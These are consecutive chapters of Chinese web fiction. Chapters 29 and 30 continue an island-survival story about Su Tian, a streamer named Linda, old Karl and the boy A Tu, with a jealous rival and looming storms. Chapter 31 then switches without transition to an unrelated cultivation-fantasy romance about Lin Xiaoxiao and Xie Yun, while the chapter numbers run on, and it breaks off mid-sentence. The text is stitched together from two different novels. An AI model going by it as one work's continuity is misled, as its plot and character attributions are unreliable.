洁白到诡异的沙滩,藤蔓与海草的奇异小屋,绿油油的薯田。少年通红的耳尖和腿上的伤,老卡尔那凶悍的背影和滴水的砍刀,还有苏甜那沾着沙粒,在镜头前却显得异常沉静和刺眼的侧脸!
尤其是当镜头扫过那片与周围风暴废墟形成天堂地狱般对比的洁白沙滩时,柳薇薇捏着高脚杯的纤细手指,猛地收紧!
“苏甜?”
她红唇微启,吐出这个名字。声音甜腻依旧,却带着一丝不易察觉的,金属摩擦般的冰冷。
屏幕上,苏甜正平静地对着镜头(或者说对着琳达)解释着什么,侧脸线条清晰,海藻般微卷的长发被海风吹拂,沾着几粒细小的沙尘。
在特写镜头下,那些沙粒如同最纯净的碎钻,在她颊边闪烁着微光。她的眼神,不再是柳薇薇记忆中那个豪门花瓶的空洞和顺从,而是沉淀着一种让她极度陌生的坚韧和掌控感。
啪嚓!
一声清脆刺耳的爆裂声!
柳薇薇手中那只价值不菲的Baccarat水晶红酒杯,竟被她硬生生捏碎了!鲜红的酒液混合着玻璃碎片,瞬间炸开,如同肮脏的血花,溅满了她昂贵的真丝睡袍和身下纯白的波斯地毯!
她恍若未觉。
那张如同精心雕琢的芭比娃娃般完美的脸上,甜腻的笑容彻底消失,凝固成一片冰冷的石膏面具。只有那双漂亮的大眼睛里,翻涌着如同毒蛇吐信般的、难以置信的惊愕和淬了剧毒的嫉恨!
“呵。”一声冰冷的、毫无温度的笑声从她喉间挤出。她随手丢掉手中残留的锋利杯脚,任由玻璃碎片扎进昂贵的丝绒沙发也毫不在意。染着精致蔻丹的手指沾着酒液和血丝(被碎片划破),在触控屏上滑动,精准地暂停了直播画面。
画面定格在苏甜沾着沙粒的侧脸特写上。那几粒沙尘在屏幕里,如同镶嵌在她肌肤上的,刺目的勋章。
柳薇薇伸出舌尖,缓缓舔去指尖沾染的,混合着红酒和自己鲜血的液体。眼神阴鸷地盯着屏幕上苏甜的脸,如同盯着一只必须被碾死的虫子。
“荒岛,天堂?”她的声音甜得发腻,却透着森森寒气。
“苏甜,我的好闺蜜。你命可真硬啊,还找到了这么个,有趣的玩具?”
她拿起旁边另一个完好无损的水晶杯,重新倒满如血的酒液。对着屏幕上苏甜的脸,轻轻晃了晃,嘴角勾起一抹淬毒般的甜美笑容。
“游戏,才刚刚开始呢。”
29. 第29章
风暴过后的空气带着海盐的清爽,却压不住网络世界掀起的滔天巨浪。
琳达那只防水手机彻底成了烫手山芋,消息提示音密集得如同暴雨敲打铁皮屋顶。
她盘腿坐在小屋旁优化沙地的边缘,湿漉漉的粉红头发被海风吹得乱糟糟,手指在屏幕和虚拟键盘上快得飞起,脸上混合着亢奋,疲惫和一丝被骂懵了的委屈。
“操!又举报我?!”琳达猛地抬起头,把手机屏幕怼到正在给阿土更换草药的苏甜面前。
“苏姐你看!这帮孙子!说我用特效!说我沙子刷了漆!说我那老爷子刀劈龙虾是找的武术替身?!还他妈说我剧本狗!要人肉我坐标带锤子来验货?!”
屏幕上是她直播平台的私信和评论区,污言秽语和质疑嘲讽如同污水般汹涌。
#神秘荒岛天堂#、#白沙滩奇迹#、#硬核荒野老爷子#几个话题在热搜榜上起起伏伏。点进去,除了少数惊叹和好奇,更多的是铺天盖地的[P图狗]、[特效团队牛逼]、[下一个塌房网红预定]、[坐等打假队]。
琳达那条【地狱开局变天堂】的惊呼和风暴废墟与小屋沙地的极致对比画面,被无数营销号配上耸人听闻的标题疯狂转发,争议如同滚雪球般越滚越大。
阿土伸长脖子瞄了一眼屏幕,少年人清澈的眼睛里充满了不解和愤怒,他指着自己腿上狰狞红肿的伤口,声音因为激动而拔高。
“他们眼瞎吗?!我这腿!爷爷的刀!还有这沙!哪点假了?!为什么要这么说?!”伤口的疼痛和网络恶意的双重刺激,让他脸色涨红。
老卡尔蹲在不远处,正用一块油石沉默地打磨着他那把海浪纹砍刀的刀锋。刀刃在石头上摩擦,发出“沙,沙,沙。”的单调声响。
听到阿土的质问,他手上的动作没有丝毫停顿,只是浑浊的眼睛抬起,越过正在给阿土敷药的苏甜,冷冷地扫了一眼琳达和她那嗡嗡作响的手机。那眼神像淬了冰的刀锋,带着毫不掩饰的厌烦和警告。
看,这就是你招来的麻烦!他目光随即转向岛屿深处,那片隐藏着【新生花园】珊瑚区和神秘咸水湖的方向,眉头拧成了疙瘩。
他最担心的,是这些聒噪的【飞虫】(指网络关注和潜在来客),会像风暴一样,最终席卷,污染那些正在艰难复苏的核心之地。
苏甜将最后一点散发着清凉气味的深绿色药膏,仔细抹在阿土的伤口上,用干净的布条重新包扎好。她的动作平稳,眼神沉静,仿佛那些喧嚣的网络风暴只是遥远的海潮声。
“有人信,就有人不信。有人喜欢,就有人厌恶。这很正常。”苏甜的声音不高,却清晰地盖过了琳达手机的嗡嗡声和海风的呼啸。
“质疑是双刃剑。它把这里推到更多人眼前,也把麻烦引了过来。”她抬起头,目光平静地看向老卡尔,又落在阿土愤怒不解的脸上。
“对我们来说,外面的人信不信,不重要。重要的是,守住这里。”
“守?”阿土愣了一下,下意识地重复。
“对,守。”苏甜站起身,走到小屋门口,目光扫过洁白的沙地、葱郁的薯田、屹立的小屋,最后投向雨林和海洋的深处。
“守住这片沙地的洁白,守住薯田的生机,守住小屋的安稳。更要守住。”她的声音微微压低,带着一种不容置疑的凝重。
“雨林深处的秘密,咸水湖的源头,还有。珊瑚礁下正在醒来的[花园]。那是我们的根,我们的未来,绝不能让外人知道,更不允许被打扰。”
“新生花园?”阿土的眼睛瞬间亮了,似乎明白了什么,用力点头。“对!不能让他们知道!不能去吵珊瑚!”
老卡尔打磨刀锋的“沙沙”声停了下来。他抬起头,浑浊的目光第一次如此直接,如此深入地落在苏甜脸上。那目光里翻涌着复杂的情绪。
有对【核心之地】被点明的震动,有对苏甜这份守护决心的审视,最终,沉淀为一种近乎沉重的认可。他缓缓地点了点头,沟壑纵横的脸上,那道疤痕似乎也柔和了一丝。
不需要言语,守护家园的共识,在这一刻超越了所有隔阂,将三人紧紧联结。
琳达敏锐地捕捉到了这气氛的变化和那个被刻意强调的【核心秘密】。
她眼珠滴溜溜一转,瞬间换上了一副无比严肃,甚至带着点神圣使命感的表情,猛地从沙地上蹦起来,拍着自己平坦的胸脯,发出“砰砰”的响声。
“岛主!老爷子!小帅哥!你们放心!”她的声音斩钉截铁,表情真挚得能拿奥斯卡。
“我琳达!不是那种忘恩负义,吃里扒外的白眼狼!救命之恩大过天!你们这宝地是世外桃源!是地球最后的净土!我懂!核心保护区嘛!必须守护!谁敢乱闯,我琳达第一个喷死他!直播间的家人们作证!”
她立刻把手机镜头,对准自己那张写满[正义凛然]的脸。
“老铁们!听见没!从今天起,琳达直播间主打一个[守护原始生态]!咱们只拍能拍的!绝不给宝岛添麻烦!关注点赞刷起来!守护净土!人人有责!”
她这口号喊得响亮,瞬间把[遵守规则]包装成了高大上的[环保使命],不仅给自己找了台阶,还成功转移了部分火力。弹幕里果然刷起一波[守护],[支持琳达做环保]之类的评论,暂时压下了部分质疑。
苏甜对琳达的表演不置可否,只是淡淡地补充了一句。“你的活动范围,仅限于这片沙地,小屋外围和薯田附近。雨林边缘的[绿径漫步]区域,需要我或者老卡尔陪同。”
她指了指远处被驱虫草屏障隐约环绕的雨林入口。“其他地方,一步都不准靠近。”
“懂!绝对懂!”琳达小鸡啄米般点头,眼神却不由自主地瞟向那片神秘幽深的雨林,闪过一丝不易察觉的好奇。
“卡尔先生。”苏甜转向老卡尔。“光靠说不够,有些路,得让它[不好走]。”
老卡尔浑浊的眼底寒光一闪。他默默地将打磨得寒光闪闪的砍刀插回腰间皮带,发出“锵”的一声轻响。他站起身,佝偻的背脊似乎挺直了些许,如同即将出征的老将。
“阿土,能走?”老卡尔的声音沙哑低沉。
阿土立刻咬着牙,挣扎着从地上站起来,那条伤腿虚点着地,但眼神异常坚定。“能!爷爷!”
“跟上。”老卡尔言简意赅,不再看任何人,转身大步朝着通往雨林深处和咸水湖源头的方向走去。他的步伐沉稳有力,每一步都带着踏碎荆棘的决心。阿土忍着痛,一瘸一拐却异常坚定地跟了上去。
琳达下意识地想举着手机跟拍这[神秘行动],却被苏甜一个冰冷的眼神钉在原地。她讪讪地放下手机,嘴里嘟囔着“守护秘密,守护秘密。”眼神却控制不住地追随着那一老一少消失在茂密植被边缘的背影。
雨林边缘,空气湿热粘稠。弥漫着泥土,腐叶和驱虫草混合的奇异气息。光线被茂密的树冠切割得支离破碎,投下斑驳摇曳的光影。脚下是盘根错节的树根和湿滑的苔藓。
老卡尔停在一处被茂密藤蔓半遮掩的,通往更深处的狭窄小径入口。
他蹲下身,从腰间解下一个用宽大树叶包裹的小包。打开,里面是几颗深紫色,表皮布满尖刺,只有龙眼大小的怪异果实,散发着一种辛辣刺鼻的气味。
“刺痒果。”老卡尔的声音,在寂静的雨林中显得格外清晰。他拿起一颗,用砍刀的刀背猛地一压!<
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噗嗤!
深紫色的粘稠汁液瞬间爆开,溅在刀背上。散发出更加强烈的,令人鼻腔发痒的辛辣气味!那汁液呈现出一种不祥的,近乎墨黑的深紫红色。
老卡尔示意阿土退后一点。他戴上用厚实棕榈叶临时做的手套(防止汁液沾手),小心翼翼地用刀尖挑起那颗被压碎的果实。
将那些粘稠辛辣的深紫红色汁液,仔细地,均匀地涂抹在横亘在小径入口的几根粗壮藤蔓上。以及入口两侧几片巨大而锋利的锯齿状蕨类植物叶片背面。
“汁沾皮,痒三天。抓破,烂。”老卡尔的声音毫无起伏,像是在陈述一个简单的事实。他涂抹得很仔细,确保那些深紫色的痕迹在斑驳的光线下并不显眼,但足以给任何试图强行拨开藤蔓的人一个刻骨铭心的教训。
阿土看得头皮发麻,下意识地摸了摸自己完好的皮肤。
接着,老卡尔又走到小径入口旁边一棵不起眼的,树干分泌着粘稠树脂的小树旁。他用刀刮下一些琥珀色的,带着浓郁松脂气味的粘稠树脂,混合着一些碾碎的,气味刺鼻的深绿色驱虫草叶,揉搓在一起。
然后,他将这团气味极其怪异刺鼻的混合物,厚厚地抹在入口处一块半人高的,不起眼的黑色火山岩背面,以及上方一根低垂的树枝上。
“气味,标记。”老卡尔指了指自己的鼻子。“野兽和人,都嫌。”这浓烈刺鼻的气味,如同无形的告示牌和驱离剂,宣告着此地非善,生人勿近。
做完这些,老卡尔又带着阿土,在通往咸水湖方向的另一条隐蔽路径入口。以及靠近【新生花园】珊瑚区后方的海岸礁石群附近,如法炮制。用[刺痒果]的毒汁设置天然的疼痛警告,用特制的恶臭标记驱离潜在的窥探者。
阿土虽然腿伤疼痛,但全程看得异常认真,努力记下爷爷的每一个动作和细节。他知道,这是在守护他们的家。汗水混着林间的湿气浸透了他的背心,少年人的眼中,除了疼痛,更添了一份沉甸甸的责任感。
夕阳西沉,将海天交界处染成一片壮烈的金红。加固完最后一道[自然防线]的老卡尔和阿土回到了小屋区域。阿土几乎虚脱,被苏甜搀扶着坐下休息。
琳达正对着手机屏幕唾沫横飞地解释着什么,试图平息新一波关于[直播范围受限是否心虚]的质疑。她巧妙地用“保护脆弱雨林生态”、“尊重岛民圣地”等高大上理由搪塞,居然也引来不少支持环保的声浪。
苏甜没有参与琳达的[公关]。她独自一人坐在小屋旁一块相对平整的黑色礁石上,膝上摊开着那台连接着便携式卫星网络终端的平板电脑(琳达的设备,临时征用)。
屏幕上是复杂的卫星云图界面。一个巨大的,旋转着的白色气旋标记,正在代表海洋的蓝色背景上,朝着一个微小的岛屿标记(K7岛)缓缓移动!气旋边缘的螺旋云带,如同死神的触手,不断延伸,逼近!
最新的气象预警在屏幕一角闪烁。强热带风暴【海龙】路径微调,预计48-72小时内可能影响本区域,强度持续增强,请做好防范。
苏甜的目光从卫星云图上移开,望向远处正对着镜头比心,竭力维持[正能量环保主播]人设的琳达。海风吹拂着她沾着沙粒的长发,她的声音平静得听不出丝毫波澜。
“琳达。”
“啊?岛主?”琳达立刻中断直播,小跑过来,脸上还带着营业性的笑容。“啥指示?保证完成任务!”
苏甜指了指平板屏幕上那不断旋转逼近的巨大白色气旋,以及下方冰冷的预警文字。她的目光平静,却带着一种洞穿灵魂的力量,直直看进琳达的眼睛深处。
“风暴要来了。比上次更大,怕死吗?”
30. 第30章
夕阳沉入海平线,将最后的光与热慷慨地泼洒在K7岛上。白日里蒸腾的暑气被海风一吹,散了大半,只余下温热的细沙熨帖着脚心。
苏甜赤脚站在那片被系统与心血浇灌出的洁白沙滩上,海风撩起她微卷的长发,露出被海岛阳光吻出浅蜜色的脖颈和鼻尖几点俏皮的晒斑。
身后,是他们立足的根基。
那栋曾以棕榈叶为骨,海草为顶的抗风暴小屋,如今藤蔓编织的墙体在暮色中透出坚韧的轮廓,老卡尔用[渔人结]加固的每一处节点都沉默地诉说着力量。阿土正手脚麻利地将最后几条晒得半干的海鱼收进小屋旁悬吊的棕榈叶篮子里,那是他今日的收获。
旁边,一小片绿意盎然的薯田在优化后的沙地里欣欣向荣,块茎在泥土下悄然积蓄能量,是陆地上的希望之源。不远处,被老卡尔精心加固伪装过的岩缝水源和更隐蔽的微小渗水点,在霞光里反射着细碎的安全光晕。
“苏姐!清点好了!”阿土咧着嘴跑过来,露出雪白的牙齿,少年人的活力几乎要溢出来。“鱼够吃三天,薯块存了一筐,卡尔爷爷昨天找的雨林块茎还剩不少,饿不着啦!”
老卡尔无声地点点头,他粗糙的手指正捻着一把驱虫草粉,细心地洒在薯田和营地边缘,淡淡的草木清香弥散开来。他抬眼望向苏甜,那只带着疤痕的眼睛在暮色里显得格外深邃。“水源,稳。陷阱,查过了,没动。”
琳达则盘腿坐在一块平坦的礁石上,对着已经快没电但依旧顽强工作的直播设备挤眉弄眼。
“老铁们看见没?什么叫可持续发展?自给自足小天堂!羡慕的扣1,想来的。嗯,暂时还得排队哈!”她对着镜头狡黠地眨眨眼,又迅速切断了信号,宝贝似的把设备揣进防水袋。这半个月的流量红利,让她这台老伙计成了真正的功臣。
苏甜的目光缓缓扫过这一切。食物,水,坚固的庇护所,初步成型的团队,开始优化的环境。指尖下意识拂过掌心,那里覆盖着一层薄薄的茧,与重生前娇嫩的肌肤截然不同。这是荒岛刻下的勋章。
她摊开紧握的右手,掌心躺着那枚由熔炼的项链白金锻造,巴蓬亲手敲打出的岛屿徽章。浪花环绕着棕榈叶的图案在夕阳下流淌着内敛的光华。这不是结束,而是起点。
“卡尔爷爷,阿土。”苏甜的声音不高,却清晰地穿透了海涛声。“准备好了吗?”
老卡尔放下草粉罐,布满皱纹的脸上没什么表情,只微微颔首。阿土则紧张地挺直了背脊,下意识摸了摸挂在脖子上的骨哨。那是他向导身份的象征。
琳达立刻精神百倍地跳起来,重新举起直播设备,镜头对准了那片被命名为【新生花园】的珊瑚海域。
“家人们!见证奇迹的时刻!梦幻岛K7首个生态体验项目,【新生花园】浮潜探秘,内部首测!主播琳达独家放送!”她刻意压低了声音,营造出神秘感。
苏甜拿起那个由老卡尔提供的【灯塔眼泪】树脂粘合,藤蔓强化框架,防水布密封的简易浮潜面罩,触手是树脂温润的凉意和藤蔓的坚韧。她深吸一口气,和阿土对视一眼,两人一同踏入温暖的海水。
海水温柔地包裹上来。苏甜戴好面罩,调整呼吸,将脸埋入水下。
世界瞬间切换。
阳光穿透清澈的海水,形成道道光柱,如同通往神国的阶梯。下方,是那片曾经惨白死寂的珊瑚礁盘。此刻,在苏甜和阿土小心翼翼滴落过初级珊瑚共生修复液的核心区域,景象已截然不同。
死寂的灰白被一种极其微弱,仿佛生命脉动般的暖褐色光泽取代,如同沉睡的巨人正在苏醒。被处理过的珊瑚虫体在光线下,偶尔会泛起一丝萤火虫般的细微蓝绿荧光,那是共生藻类努力回归的信号。
有害的污浊藻类被清除剥离,露出珊瑚本身相对健康的基底。虽然恢复的范围尚小,像在巨大伤疤上精心绣出的几朵小花,但生命力已然萌发!
色彩斑斓的小丑鱼大胆地在复苏的珊瑚枝杈间穿梭,几条苏眉鱼慢悠悠地摆尾巡游。阿土灵巧得像一尾天生的鱼,他游在苏甜侧前方,回头兴奋地指了指一片鹿角珊瑚上格外明显的褐色生机,又指了指自己,满脸的骄傲。那是他参与修复的区域。
苏甜伸出手指,极其轻柔地触碰了一下那抹温暖的褐色。指尖传来珊瑚虫体微弱的,几乎难以察觉的收缩感,随即是一种奇异的,带着生命韧性的温润触感。一股难以言喻的暖流瞬间从指尖涌向心脏,几乎让她眼眶发热。不是冰冷的死亡,是复苏的温度!是希望!前世沉海的冰冷绝望与眼前蓬勃的生命力猛烈对冲,让她在水下屏住了呼吸。
她抬起头,隔着晃动的海面和面罩,看向上方。琳达的镜头正对着水下,忠实地记录着这一切。苏甜对她用力点了点头。
阿土得到信号,如同接受检阅的士兵,鼓起腮帮子,用力吹响了挂在胸前的骨哨!
“呜。”
清脆悠长的哨音破开水面,回荡在黄昏静谧的海湾上空。这是【新生花园】发出的第一声宣告。
岸上的老卡尔,一直紧绷如礁石般的背脊,在哨音响起的刹那,几不可察地松弛了一丝。他布满厚茧的手指无意识地捻了捻身边一株驱虫草坚实的叶片。
浮潜结束,两人带着一身海水咸腥的气息回到岸边,发梢还在滴水。阿土兴奋得手舞足蹈,对着琳达的镜头语无伦次。“苏姐!看见没?那鱼!那光!卡尔爷爷,咱的花园活了!”
琳达顾不上形象,直接扑过来,激动地抓住苏甜的胳膊摇晃。“值了!苏甜!光这水下镜头就值了!绝美!生态复苏奇迹!这要放出去。”她激动得有点语塞。
苏甜抹了把脸上的海水,笑容在霞光里格外明亮,带着水洗过的清澈和不容置疑的坚定。“当然要放出去。但不是现在。”她看向琳达,眼神冷静。“现在,它是我们的起点,
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是我们握在手里的筹码。”
她走到篝火旁,火光映亮了她半边脸庞。她摊开手掌,那枚浪花棕榈徽章在火光下熠熠生辉。她弯腰,将它用力按在沙滩上简易手绘的岛屿地图中央。那片代表着【新生花园】的蔚蓝海域旁边。
“都看看。”她的声音清晰地传到每个人耳中,篝火噼啪声和海浪声成了背景。
“我们脚下这片白沙,头顶这间屋子,海里那片正在活过来的珊瑚,还有这个。”她点了点徽章。
“它们是我们从零开始,一点一点挣来的。从保镖眼皮底下喝泥水,到现在,我们有了自己的花园。”
她的目光扫过老卡尔沟壑纵横却写满守护的脸,阿土兴奋未褪充满干劲的眼,琳达握着直播设备,燃烧着野心的神情。
“荒岛求生?”苏甜唇角勾起一抹锋利又明亮的弧度,像是淬了火的刀锋。“结束了。”
她直起身,望向远方。夜幕正温柔地拥抱海面,白日里碧蓝的海水此刻化为深邃的墨蓝,与天际线交融。星辰尚未完全点亮,但海平线上方,已有一两颗最明亮的星子迫不及待地闪烁起来。更远处,那片被黑暗温柔覆盖的雨林,只余下沉默而神秘的轮廓,如同蛰伏的巨兽,等待着探索。
“现在。”苏甜的声音不高,却带着某种破开风浪的穿透力,清晰地烙印在每个人的心头,也像是对这片海,这座岛的宣言。“是时候让世界看看,我们唤醒的这片绿洲了。”
她的视线仿佛穿透了沉沉暮霭,投向未知的海域。那里,有垂涎的恶狼,有嫉妒的毒蛇,有汹涌的暗流。但此刻,篝火在跳跃,白沙在脚下延伸,复苏的珊瑚在海底低语,团队的脉搏在她身边有力地跳动。
宏大幕布,已在深蓝的海天之间,悄然拉开了一道缝隙。缝隙之外,是机遇与危机并存的广阔蓝海。
琳达低头摆弄着直播设备,想回放刚才水下拍到的绝美画面。屏幕却忽然卡顿了一下,几条极其刺眼,明显带着水军格式的弹幕瞬间刷过,速度快得几乎看不清,但几个关键词却像毒刺般扎眼。
“#虚假宣传#”
“荒岛变天堂?P图技术不错!”
“坐等翻车,花瓶能玩出什么花?”
琳达的笑容僵在脸上,猛地抬头看向苏甜,眼神里带着惊疑和一丝不易察觉的恐慌。苏甜也看到了那瞬间的异常,她脸上的神情没有太大变化,只是那双映着篝火和星光的杏眼,微微眯了起来,眸底深处,掠过一丝冰冷的,早已洞悉一切的锐芒。
与此同时,在岛屿另一端某个礁石林立,远离优化沙滩的阴暗角落。一架微型无人机悄然升空,猩红的信号灯在浓重的暮色中诡异地闪烁了两下,冰冷的镜头无声地扫过篝火旁聚集的身影,最后定格在苏甜沉静的侧脸上,随即迅速拉高,融入深沉的夜空,消失不见。
篝火的光温暖地跳跃,却照不亮海天相接处那片愈发深沉的墨蓝。
31. 第31章
断云谷的夕阳,将修缮中的温泉广场染成一片暖金色。
白日里[魔音驱邪]的喧嚣已经散去,只留下空气中淡淡的灵能水泥(沙雕值兑换的配方,混合了修真界黏土和灵石灰)未干的湿润气息,以及那口被铁柱敲得坑坑洼洼,但依旧顽强挺立的最大青铜编钟,在余晖中沉默伫立。
广场一角,临时清理出的空地上,气氛却与这宁静的黄昏格格不入。
林笑笑喘着粗气,额发被汗水粘在额角,杏眼里满是挫败和不耐。她面前悬浮着一个由灵力构成,歪歪扭扭,勉强能看出是[炎]字符文的淡红色光团。随着她指尖在虚空键盘上最后一次用力敲下[Enter],那光团如同喝醉了酒般晃晃悠悠地飞了出去。
噗!
光团在距离预定目标,十丈外一块充当靶子的暖玉废料。还有足足七尺远的地方,就耗尽了最后一丝灵力,如同一个泄气的皮球,噗嗤一声化作几缕青烟,消散在晚风中。只在空气中留下一点微弱的焦糊味。
“灵力散溢近三成,有效杀伤范围不足五尺,落点偏移七尺。”一个清冽平静,听不出丝毫情绪波动的声音,在她身侧响起。
谢昀不知何时已站在了她身旁三步之外。夕阳的金辉勾勒出他侧脸完美的轮廓,雪缎云纹的剑袍纤尘不染,墨发一丝不苟地束在玉冠中。
他甚至连剑都未出鞘,只是用那包裹着素白鲛绡的剑鞘末端,虚虚地点在刚才光团消散的空气中,又指向远处那块完好无损的靶子暖玉。
“打字再快。”他微微侧过头,清冷的眸光落在林笑笑汗津津,写满不服气的脸上,语气平淡得如同在陈述一个亘古不变的真理。“灵力控制不稳,施法精度全无,不过是徒耗灵力,空有其表。”
这话如同一盆冷水,精准地浇在林笑笑刚刚因为沙雕值暴涨,解锁新功能而膨胀起来的自信心上。她瞪着那块毫发无伤的暖玉靶子,再看看自己因为高速敲击键盘而有些发麻的指尖,一股邪火混着不服气直冲脑门。
“空有其表?”林笑笑猛地转过身,杏眼圆睁,对上谢昀那双古井无波的寒潭眸子。
“谢首席站着说话不腰疼!你知道维持高速施法多耗神吗?精度?精度能当饭吃吗?能吓跑夜枭吗?能。”她噼里啪啦一顿输出,试图用音量掩盖自己灵力控制确实稀烂的事实。
谢昀只是静静地看着她,等她发泄完,才淡淡开口。“能活命。”
三个字,轻飘飘,却像重锤砸在林笑笑心口。她想起了血色符文下崩塌的山谷,想起了师姐咳血的苍白脸庞,想起了自己用[稳住别浪]勉强支撑时那种随时会崩溃的虚弱感。
活命。
这两个字瞬间戳破了所有的狡辩和不服气。林笑笑像只被戳破的气球,气势一下子瘪了下去,但眼底那点倔强的火星还在不甘地跳跃。
谢昀看着她瞬间耷拉下去的肩膀和依旧抿紧的唇,眸光似乎微微动了一下。他上前半步,剑鞘抬起,指向她身前虚空。“灵力流转,如臂使指,非一味求快。意动,念至,力方随。重来,凝神,控制输出,目标不变。”
他的声音依旧清冷,却少了几分之前的疏离,多了一丝教导的意味。
“意动,念至,力方随。”林笑笑低声重复着,深吸一口气。努力压下烦躁,再次集中精神。十指悬在虚空键盘上,速度刻意放慢了许多,小心翼翼地引导着体内的灵力,试图构建一个更凝实,更稳定的[炎]字符文。
然而,灵力控制就像一门深奥的艺术。她越想小心翼翼,指尖反而越僵硬。
那凝聚出来的符文光团倒是比之前凝实了些,但飞出去的速度却慢得像乌龟爬。轨迹也歪歪扭扭,最终“啪”地一声,撞在靶子暖玉旁边的地上。炸开一小片焦黑的泥土,距离目标依旧偏了三尺。
“啧!”林笑笑懊恼地一跺脚。
谢昀几不可察地摇了摇头,再次上前一步,距离更近了些。他身上那股清冽如雪后松林的气息,若有若无地飘了过来。
“手腕太僵,灵脉滞涩。”他清冷的声音几乎就在她耳畔响起,带着一丝不易察觉的无奈。“放松,感受灵力自然流转,勿强求轨迹,先求稳定。”
说着,他竟抬起那只未持剑的手,修长如玉的手指似乎想点向林笑笑的手腕,引导她的灵力走向。
就在他指尖即将触碰到林笑笑皮肤的瞬间。
少女眼底那点狡黠的火星猛地窜起!
谢昀要亲自指导?近身教学?机会!
林笑笑嘴角勾起一抹小狐狸般的坏笑,悬在虚空键盘上的十指,骤然从笨拙的慢速切换成令人眼花缭乱的残影!速度快得带起了风声!
但这次,她凝聚的压根不是什么正经的[炎]字符文!
只见她指尖翻飞,一个个粉红色,由纯粹灵力构成的。闪烁着bulingbuling光芒的硕大[?]形代码光弹,如同机关枪扫射般,从她指尖疯狂倾泻而出!
biu~biu~biu~biu~!!!
伴随着她意念中模拟的可爱音效(现实中只有灵力激荡的嗡鸣)。一大串粉红泡泡爱心,带着少女心爆棚的闪耀光效和甜腻腻的气息。劈头盖脸,毫无章法地朝着近在咫尺的谢昀那张清冷俊脸糊了过去!
距离太近!速度太快!数量太多!角度刁钻(有几个甚至划着弧线试图绕后)!
饶是谢昀反应如电,也被这突如其来,完全超出修真界认知的[无耻]偷袭弄得措手不及!
他瞳孔微缩,脚下步伐玄奥地一错,身形瞬间化作一道模糊的残影,险之又险地避开了正面糊脸的大部分粉红爱心。
但依旧有两颗刁钻的泡泡,擦着他束得一丝不苟的鬓角飞过。带起的灵力微风撩起了几缕墨发,其中一颗甚至“啪”地一下,在他那素白无暇,纤尘不染的剑袍肩头,炸开了一小团粉红色,闪亮亮的灵力光屑!
更重要的是。
在他闪避,格挡(用剑鞘拍碎了几颗)这波[爱心轰炸]的瞬间。他原本那冰雪雕琢般清冷无波的俊脸,以肉眼可见的速度,从耳根开始,迅速蔓延开一片极其显眼,如同晚霞浸染般的绯红!甚至一路红到了脖颈!
“林!笑!笑!”谢昀稳住身形,看着肩头那点刺眼的粉红亮片,再感受到脸上火烧火燎的温度。一股从未有过的羞恼混合着某种陌生的情绪直冲头顶!他清冷的声音第一次带上了明显,压抑不住的怒气和一丝不易察觉的慌乱。
“在呢在呢!首席有何指教?”林笑笑一击得手,迅速后跳两步。双手背在身后,歪着头,眨巴着无辜的大眼睛,脸上是标准的【理直气壮耍无赖】表情。
“首席不是说要[意动念至力方随]嘛?我这不是[意]到了,[念]到了,[力]也随了嘛?效果怎么样?够不够稳定?够不够精准?”她故意把精准两个字咬得极重。
看着她那副【我没错,我超棒,快来夸我】的欠揍模样,谢昀只觉得太阳穴突突直跳。羞恼的情绪如同沸腾的岩浆,在冰封的外表下汹涌。他一步踏前,速度快得林笑笑根本来不及反应!
那只刚刚抬起,准备指点她手腕的修长手掌。此刻带着不容抗拒的力量,精准无比地扣住了林笑笑还背在身后,试图继续搞小动作的右手手腕!
他的手掌温热而有力,指腹带着常年握剑留下的薄茧。紧紧箍住她纤细的手腕,力道之大,让她瞬间动弹不得。
“胡闹!”谢昀的声音低沉,带着强压的怒火和一丝不易察觉的喑哑。他用力一带,林笑笑猝不及防,惊呼一声,整个人被一股大力扯得向前踉跄,后背几乎撞进他怀里!为了不让她跌倒,谢昀的另一只手下意识地抬起,按住了她另一侧的肩膀!
两人的姿势,瞬间变得极其暧昧!
谢昀一手紧扣着林笑笑的手腕,另一手按着她的肩,将她半圈在自己身前,几乎形成了一个.禁.锢.的.姿.势.。林笑笑整个人被他高大的身影笼罩,鼻尖萦绕的全是他身上那股清冽又带着一丝灼热的气息。
她能清晰地感受到他胸膛因怒意而微微起伏的震动,能看到他近在咫尺,线条完美的下颌线,以及那抹从耳根蔓延到脖颈,依旧未褪的绯红。
时间仿佛凝固了。
夕阳的金辉洒在两人交叠的身影上,在地上拉出长长的,紧密相连的影子。空气安静得只剩下彼此略显急促的呼吸声。
林笑笑能感觉到自己手腕和肩头传来,属于谢昀掌心的灼热温度,那热度似乎顺着皮肤一路烧到了她的脸颊。她甚至能看清谢昀那双近在咫尺的寒潭眸子里,翻涌着的羞恼,怒气,以及一丝连他自己都未曾察觉的慌乱无措。
“你,你放开!”林笑笑挣扎了一下,声音莫名有些发虚,脸颊也飞起了红霞。
谢昀似乎也才惊觉这个.姿.势.有多么不妥,扣着她手腕的手指下意识地松了半分,但随即又像被烫到般猛地收紧,仿佛松开就是认输。
他薄唇紧抿,喉结上下滚动了一下,似乎在极力平复翻腾的情绪,眼神复杂地盯着怀里这只胆大包天又让他束手无策的小狐狸。
就在这暧昧与对峙僵持的微妙时刻。
“咔嚓!”
一声极其轻微,但在寂静中格外清晰,类似留影符启动的声音,从不远处一堆尚未清理的暖玉废墟后面传来。
紧接着,一道熟悉无比,带着浓浓.猥.琐.气息的意念波动,通过陈闲那破玉符的【附近直播】功能,清晰地传到了林笑笑和谢昀佩戴的玉符上(谢昀的玉符之前被林笑笑扣留。后来墨长老赔偿时顺便,修复并归还了)。
【“落霞宗官方直播间”开启!】
【标题:独家!高岭之花的贴身教学?剑阁首席的羞耻特训!按头小分队速来集合!(爆)】
【主播:陈闲(专业吃瓜)】
林笑笑:“!!!”
谢昀:“!!!”
两人身体同时一僵!
几乎在直播间开启的瞬间,一道粗壮的黑白身影,顶着几块暖玉碎片,鬼鬼祟祟地从废墟后面探出了巨大的脑袋。
铁柱那双自带【=。=】表情的黑眼圈小眼睛,闪烁着兴奋的光芒。嘴里叼着的,赫然是陈闲那台屏幕碎裂,此刻却顽强亮着直播界面的破玉符!镜头正正地对准了.姿.势.暧.昧,紧紧[贴]在一起的林笑笑和谢昀!
“嗷?”铁柱喉咙里发出一声疑惑的低吼,似乎不明白这两人为啥突然不动了。但叼着玉符的嘴巴却很稳,镜头怼得贼准。
直播间里,经过零点零一秒的死寂后,弹幕如同被点燃的火药库,轰然爆炸!
【用户[我是第一]:卧槽!卧槽!卧槽!我看到了什么?!手腕!谢首席扣着笑笑仙子手腕!】
【用户[按头小分队队长]:按头!按头!这.姿.势.不亲一个很难收场!打赏10灵石求后续!】
【
